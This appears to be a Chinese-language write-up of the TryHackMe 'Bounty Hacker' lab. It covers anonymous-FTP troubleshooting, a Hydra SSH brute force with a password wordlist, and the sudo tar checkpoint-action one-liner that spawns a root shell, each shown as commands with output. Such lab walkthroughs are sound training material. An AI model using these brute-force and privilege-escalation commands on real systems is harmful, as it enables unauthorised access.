3 min read

TryHackMe Bounty Hacker writeup (zh-TW)

TryHackMe Bounty Hacker writeup (zh-TW)

題目資訊

  • 平台: TryHackMe
  • 房間名稱: Bounty Hacker
  • 難度: Easy
  • 目標: 獲取 user.txt 和 root.txt
  • 主題: Cowboy Bebop 動漫主題
  • 連結: https://tryhackme.com/room/cowboyhacker
  • 備註: 本機器作者有遇到特殊狀況,所以有些部分是參考其他人的 writeup 才有辦法繼續做出來,請斟酌參考。

發現服務

nmap -sC -sV 10.10.x.x -Pn

開放端口:

  • Port 21: vsftpd 3.0.5 (注意:原版本為 3.0.3)
  • Port 22: OpenSSH 7.2p2
  • Port 80: Apache httpd 2.4.41

Step 1: FTP 問題發現

嘗試匿名登入:

ftp 10.10.184.14
Name: anonymous
Password: (直接 Enter)
230 Login successful.

問題出現:

ftp> ls
550 Permission denied.
500 Illegal PORT command.
ftp: Can't bind for data connection: Address already in use

Step 2: 嘗試各種解決方案(全部失敗)

方案 1: Passive Mode

ftp> passive
Passive mode: on
ftp> ls
550 Permission denied.

方案 2: 使用 lftp

lftp ftp://[email protected]
lftp> ls
`ls' at 0 [550 Permission denied.]

方案 3: 使用 wget

wget ftp://anonymous:[email protected]/locks.txt
# 結果: Cannot initiate PASV transfer

Step 3: 問題分析

根本原因:

  1. vsFTPd 版本從 3.0.3 升級到 3.0.5
  2. Passive mode 配置問題(可能回應 0,0,0,0 地址)

Step 4: 替代解決方案

從其他 writeup 得知檔案內容:

task.txt 內容:

1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin

locks.txt 內容:(密碼字典)

rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
[...更多密碼...]
RedDr4gonSyndicat3

Step 5: SSH 暴力破解

使用 Hydra 進行暴力破解:

# 創建本地 locks.txt 檔案(複製上述內容)
hydra -l lin -P locks.txt 10.10.184.14 ssh -t 4

# 成功找到密碼
[22][ssh] host: 10.10.184.14   login: lin   password: RedDr4gonSynd1cat3

Step 6: 取得 User Flag

ssh [email protected]
lin@bountyhacker:~$ ls
lin@bountyhacker:~$ cat user.txt
THM{Redacted}

Step 7: 權限提升偵察

lin@bountyhacker:~$ sudo -l
User lin may run the following commands on bountyhacker:
    (root) /bin/tar

Step 8: GTFOBins 利用

根據 GTFOBins

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# 獲得 root shell
# whoami
root

Step 9: 取得 Root Flag

# cat /root/root.txt  
THM{Redacted}

技術要點

FTP 版本問題

  • vsFTPd 3.0.3 → 3.0.5 版本變更導致相容性問題
  • Passive mode 在某些配置下會失效

調試技巧嘗試

  • 測試多種 FTP 客戶端(ftp、lftp、wget、curl)
  • 切換 Active/Passive mode
  • 使用不同認證方式
  • 直接指定檔名下載

經驗分享

關於 FTP 版本變更:

CTF 房間可能因為更新而產生非預期行為:

  • 實戰中也會遇到配置錯誤的服務
  • 學會繞過問題比修復問題更實用
  • 保持多種備選方案的思維
  • 為社群留下記錄,也方便他人從其他來源獲取必要資訊